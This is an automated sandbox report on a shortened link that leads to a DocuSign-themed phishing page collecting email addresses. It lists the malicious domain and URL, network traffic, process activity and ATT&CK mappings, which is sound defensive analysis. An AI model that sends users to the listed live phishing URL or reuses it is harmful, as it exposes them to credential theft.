Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://url.rw/ddj4f

Overview

General Information

Sample URL:	https://url.rw/ddj4f
Analysis ID:	1591582

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

×

Process Tree

System is w10x64_ra

chrome.exe (PID: 6328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1956,i,9865510191439234165,4005234954385865794,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.rw/ddj4f" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

Joe Sandbox AI: Score: 7 Reasons: The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'., The provided URL 'certoconstrutora.com.br' does not match the legitimate domain for DocuSign., The URL appears to be related to a Brazilian construction company, which is unrelated to DocuSign., The presence of an email input field on a site not associated with DocuSign raises suspicion of phishing. DOM: 1.0.pages.csv

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

HTTP Parser: Number of links: 0

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

HTTP Parser: Base64 decoded: document.getElementById('continue-button').addEventListener('click', function() { continueLoading(); }); document.getElementById('thesupwillsupintimeofneeds-input').addEventListener('keydown', function(event) { if (event.key ...

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

HTTP Parser: Title: Verification Defender Associate does not match URL

Source: https://certoconstrutora.com.br/vm/

HTTP Parser: No favicon

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

HTTP Parser: No <meta name="author".. found

Source: https://certoconstrutora.com.br/vm/Organization/privacy/index_.html

HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49721 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	DNS traffic detected: DNS query: url.rw
Source: global traffic	DNS traffic detected: DNS query: certoconstrutora.com.br
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.whatsapp.com
Source: global traffic	DNS traffic detected: DNS query: static.whatsapp.net

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49721 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.win@23/6@14/133

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1956,i,9865510191439234165,4005234954385865794,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.rw/ddj4f"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1956,i,9865510191439234165,4005234954385865794,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://url.rw/ddj4f	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mmx-ds.cdn.whatsapp.net	157.240.252.60	true	false		unknown
www.google.com	142.250.186.100	true	false		high
url.rw	188.166.2.160	true	false		high
certoconstrutora.com.br	108.179.252.83	true	true		unknown
api.whatsapp.com	unknown	unknown	false		high
static.whatsapp.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://certoconstrutora.com.br/vm/Organization/privacy/index_.html	true		unknown
https://certoconstrutora.com.br/vm/Organization/	false		unknown
https://certoconstrutora.com.br/vm/	false		unknown
https://certoconstrutora.com.br/	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
157.240.0.60	unknown	United States		32934	FACEBOOKUS	false
1.1.1.1	unknown	Australia		13335	CLOUDFLARENETUS	false
74.125.133.84	unknown	United States		15169	GOOGLEUS	false
142.250.186.163	unknown	United States		15169	GOOGLEUS	false
216.58.206.35	unknown	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
157.240.252.60	mmx-ds.cdn.whatsapp.net	United States		32934	FACEBOOKUS	false
142.250.184.238	unknown	United States		15169	GOOGLEUS	false
142.250.186.100	www.google.com	United States		15169	GOOGLEUS	false
108.179.252.83	certoconstrutora.com.br	United States		46606	UNIFIEDLAYER-AS-1US	true
216.58.212.174	unknown	United States		15169	GOOGLEUS	false
188.166.2.160	url.rw	Netherlands		14061	DIGITALOCEAN-ASNUS	false
172.217.16.195	unknown	United States		15169	GOOGLEUS	false
142.250.184.234	unknown	United States		15169	GOOGLEUS	false
216.58.212.170	unknown	United States		15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591582
Start date and time:	2025-01-15 05:34:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://url.rw/ddj4f
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@23/6@14/133

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195, 74.125.133.84, 142.250.184.238, 142.250.184.206, 142.250.181.238
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://url.rw/ddj4f

LLM Input / Output

Input	Output
URL: https://url.rw Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://url.rw
